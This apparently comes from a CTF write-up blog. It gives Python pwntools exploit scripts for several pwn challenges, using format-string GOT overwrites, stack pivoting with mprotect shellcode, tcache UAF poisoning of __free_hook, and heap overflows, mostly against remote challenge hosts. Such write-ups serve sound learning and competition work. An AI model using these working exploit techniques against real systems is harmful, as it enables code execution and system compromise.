赞
踩
buf 后面跟着一个libc的地址,可以leak libc 的基址
下面跟着一个格式串漏洞,puts里面调用的strlen,改那个got为one_gadget 即可(这个题刚好有一个满足的gadget)
exp:
from pwn import* def fmt_payload(qword_of_rsp_fmt,list_data,wide='$hhn'): _len = len(list_data) arg_start = 5 + qword_of_rsp_fmt + 1 bits = 8 if wide == '$hhn': bits = 8 if wide == '$hn': bits = 16 if wide == '$n': bits = 32 if wide == '$ln': bits = 64 mask = 0x0 for i in range(bits): mask = (mask<<1)|1 parts = [] #(addr,val) #save to list for i in range(_len): size = list_data[i][2] value = list_data[i][1] addr = list_data[i][0] c = size//(bits//8) if c == 0: c = 1 for j in range(c): part_addr = addr + j * (bits//8) part_val = (value>>(j * bits)) & mask parts.append((part_addr,part_val)) #sort by val for i in range(len(parts)): for j in range(i+1,len(parts)): if(parts[j][1]<parts[i][1]): tmp = parts[i] parts[i] = parts[j] parts[j] = tmp #generate fmt payload payload = b'' fmt_string_len = 0 generate_success = False while False == generate_success: inc_len = False payload = b'' for i in range(len(parts)): if i==0: if parts[0][1] != 0: payload += b'%%%dc'%(parts[0][1]) else: if (parts[i][1]-parts[i-1][1]) != 0: payload += b'%%%dc'%(parts[i][1] - parts[i-1][1]) tmp = payload + b'%' + str(i + arg_start + fmt_string_len//8).encode() + wide.encode() if len(tmp) >= fmt_string_len: fmt_string_len += 8 inc_len = True break else: payload += b'%' + str(i + arg_start + fmt_string_len//8).encode() + wide.encode() if inc_len == False: generate_success = True payload = payload.ljust(fmt_string_len,b'\x00') print(parts) for i in range(len(parts)): payload += p64(parts[i][0]) return payload ''' Usage: ''' if __name__ == 'main': sh = process('./a.out') sh.recvuntil(b'gift:') stack = int(sh.recvline()[:-1],16) ret_addr = stack + 0x1010 + 0x8 rbp = stack + 0x1010 payload = fmt_payload(0,[(ret_addr,0x7fff12345678,8),(rbp,0x123412341234,8)],wide='$hn') print(payload) gdb.attach(sh) sleep(1) sh.send(payload) sh.interactive()
from pwn import* import fmt_payload #p = process('./pwn') libc = ELF('/home/sb/Desktop/glibc-all-in-one-master/libs/2.31-0ubuntu9_amd64/libc.so.6') p = remote('node4.buuoj.cn',28055) p.send(b'a'*24) p.recvuntil(b'Hello ' + b'a' * 24) libc_base = u64(p.recv(6).ljust(8,b'\x00')) - libc.symbols['_IO_2_1_stderr_'] log.success('libc_base: ' + hex(libc_base)) hook = libc_base + 0x7f557fde3f68 - 0x7f557fbc1000 arg = libc_base + 0x7f557fde3968 - 0x7f557fbc1000 log.success('hook:' + hex(hook)) log.success('arg: ' + hex(arg)) got = 0x7f10db90c0a8 - 0x7f10db721000 + libc_base one_gadget = libc_base + 0xe6af1 payload = fmt_payload.fmt_payload(2,[(got, one_gadget,6)],wide='$hhn') #payload = fmt_payload.fmt_payload(2,[(hook,libc_base + libc.symbols['system'],6),(arg,u32(b'sh\x00\x00'),4)],wide='$hn') print(payload) print(len(payload)) #gdb.attach(p) #pause() p.sendlineafter(b'do sth\n',payload) p.interactive()
栈溢出,但是只能覆盖返回地址,栈迁移做就行
from pwn import* #p = process('./pwn') p = remote('node4.buuoj.cn',26940) elf = ELF('./pwn') libc = ELF('./libc-2.31.so') #libc = ELF('/home/sb/Desktop/glibc-all-in-one-master/libs/2.31-0ubuntu9_amd64/libc-2.31.so') #gdb.attach(p) #pause() p.sendafter(b'Welcome to CBCTF!\n',b'aa' + p64(0x7373656C656D614E)) p.recvuntil(b'Here you are:') elf_base = int(p.recvline()[:-1],16) - 0x4050 log.success('elf_base:' + hex(elf_base)) pop_rdi = elf_base + 0x00000000000014d3 leave = elf_base + 0x00000000000012d8 read_gadget = elf_base + 0x1428 fake_stack = elf_base + 0x4050 #p.sendafter(b'wish:\n',p64(fake_stack + 16 * 8) + p64(leave)) rop = b'' rop += p64(0) * 16 rop += p64(fake_stack + 256) #rbp rop += p64(pop_rdi) rop += p64(elf_base + elf.got['puts']) rop += p64(elf_base + elf.plt['puts']) rop += p64(read_gadget) p.sendafter(b'on it\n',rop) p.sendafter(b'wish:\n',p64(fake_stack + 16 * 8) + p64(leave)) libc_base = u64(p.recvline()[:-1].ljust(8,b'\x00')) - libc.symbols['puts'] log.success('libc_base:' + hex(libc_base)) pop_rsi = libc_base + 0x0000000000027529 pop_rdx = libc_base + 0x000000000011c1e1 #: pop rdx ; pop r12 ; ret rop = b'' orw = ''' mov rax,0x67616c66 push rax mov rdi,rsp xor rsi,rsi mov rax,2 syscall mov rdi,rax mov rsi,rsp mov rdx,0x30 xor rax,rax syscall mov rdi,1 mov rax,1 syscall ''' context.arch ='amd64' rop += asm(orw).ljust(160,b'\x00') rop += p64(pop_rdi) rop += p64(fake_stack & 0xfffffffffffff000) rop += p64(pop_rsi) rop += p64(0x1000) rop += p64(pop_rdx) rop += p64(0x7) rop += p64(0) rop += p64(libc_base + libc.symbols['mprotect']) rop += p64(fake_stack) print(len(rop)) p.send(rop) print(p.recv())
UAF 可以改fd (加或减去一个偏移)
from pwn import* p = process('./pwn') p = remote('node4.buuoj.cn',27713) libc = ELF('./libc-2.31.so') choice = lambda x:p.sendlineafter(b'Your choice:',str(x).encode()) # 2,1,0 #0x40,0x50,0x100 def add(size,payload): choice(1) p.recvuntil(b'Vodka?') p.sendline(str(size).encode()) p.send(payload) pass def drink(idx,count): choice(2) p.sendlineafter(b'Which?',str(idx).encode()) p.sendlineafter(b'How much?',str(count).encode()) pass def leak_libc(): choice(3) p.recvuntil(b'icecream!\n') libc_base = int(p.recvline()[:-1],16) - libc.symbols['_IO_2_1_stdout_'] return libc_base libc_base = leak_libc() log.success('libc_base:' + hex(libc_base)) hook = libc_base + 0x7f75e103df68 - 0x7f75e0e1b000 arg = libc_base + 0x7f75e103d968 - 0x7f75e0e1b000 log.success('hook:' + hex(hook)) log.success('arg:' + hex(arg)) add(2,b'aaa') add(2,b'aaa') add(2,b'aaa') add(2,b'aaa') add(1,b'aaa') add(1,b'aaa') add(1,b'aaa') add(1,b'aaa') ##-->tcache bin #write system->lock drink(0,64) drink(1,64) drink(4,80) drink(5,80) #modify fd by drink drink(1,-400) add(2,b'aaa') add(2,p64(hook - 0x10)) add(1,b'aa') add(1,p64(libc_base+libc.symbols['system'])) drink(11,79) ################ #write /bin/sh drink(2,64) drink(3,64) drink(6,80) drink(7,80) ## drink(3,-432) add(2,b'aaa') add(2,p64(arg - 0x18)) add(1,b'aa') add(1,p64(1) + b'/bin/sh\x00') drink(11,79) #gdb.attach(p) p.interactive()
一开始没看出来,改了下数据类型才看出来,只是个简单的堆溢出
from pwn import* #p = process('./pwn') p = remote('node4.buuoj.cn',29789) libc = ELF('./libc-2.31.so') #libc = ELF('/home/sb/Desktop/glibc-all-in-one-master/libs/2.31-0ubuntu9_amd64/libc-2.31.so') choice = lambda x:p.sendlineafter(b'Your choice:',str(x).encode()) def add(size,payload): choice(1) size = 0x100000000 | size p.sendafter(b'Note size:',str(size).encode()) p.sendafter(b'Note content:',payload) def free(idx): choice(2) p.sendlineafter(b'Note ID:',str(idx).encode()) def show(idx): choice(3) p.sendlineafter(b'Note ID:',str(idx).encode()) ## context.log_level = 'debug' add(0x80,b'aaaaaa') for i in range(5): add(0x110,b'a') add(0x90,b'a') free(0) payload = b'a' * 0x80 + p64(0) + p64(0x5a1) add(0x80,payload) free(1) add(0x110,b'a') #1 #leak libc show(2) libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x1ebbe0 log.success('libc_base' + hex(libc_base)) ## free(5) free(4) add(0x220,b'aaa') add(0x80,p64(0) + p64(0x121) + p64(libc_base + libc.symbols['__free_hook'])) add(0x110,b'/bin/sh\x00') add(0x110,p64(libc_base + libc.symbols['system'])) free(7) p.interactive()
resize实际上和realloc 差不多,这里返回的指针是可能改变的,但是ptrArray里面任然保存的是旧的ptr,UAF
from pwn import* #p = process('./pwn') p = remote('node4.buuoj.cn',26012) libc = ELF('/home/sb/Desktop/glibc-all-in-one-master/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so') #libc = ELF('./libc-2.27.so') choice = lambda x:p.sendlineafter(b'choice:',str(x).encode()) def add(size,string): choice(1) p.sendlineafter(b'size:',str(size).encode()) p.sendafter(b'content:',string) def edit(idx,size,string): choice(2) p.sendlineafter(b'idx',str(idx).encode()) p.sendlineafter(b'size',str(size).encode()) p.sendafter(b'content',string) def show(idx): choice(3) p.sendlineafter(b'idx',str(idx).encode()) for i in range(10): add(0x80,b'/bin/sh') for i in range(6): edit(i,256,b'a') #edit(6,256,b'a') edit(6,256,b'\xa0') show(6) libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - (0x7efe5e12dca0 - 0x7efe5dd42000) log.success('libc_base:' + hex(libc_base)) edit(5,256,p64(libc_base + libc.symbols['__free_hook'])) add(0x80,p64(libc_base + libc.symbols['system'])) p.interactive()
(给的libc怎么和远程的不一样???nmd)
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。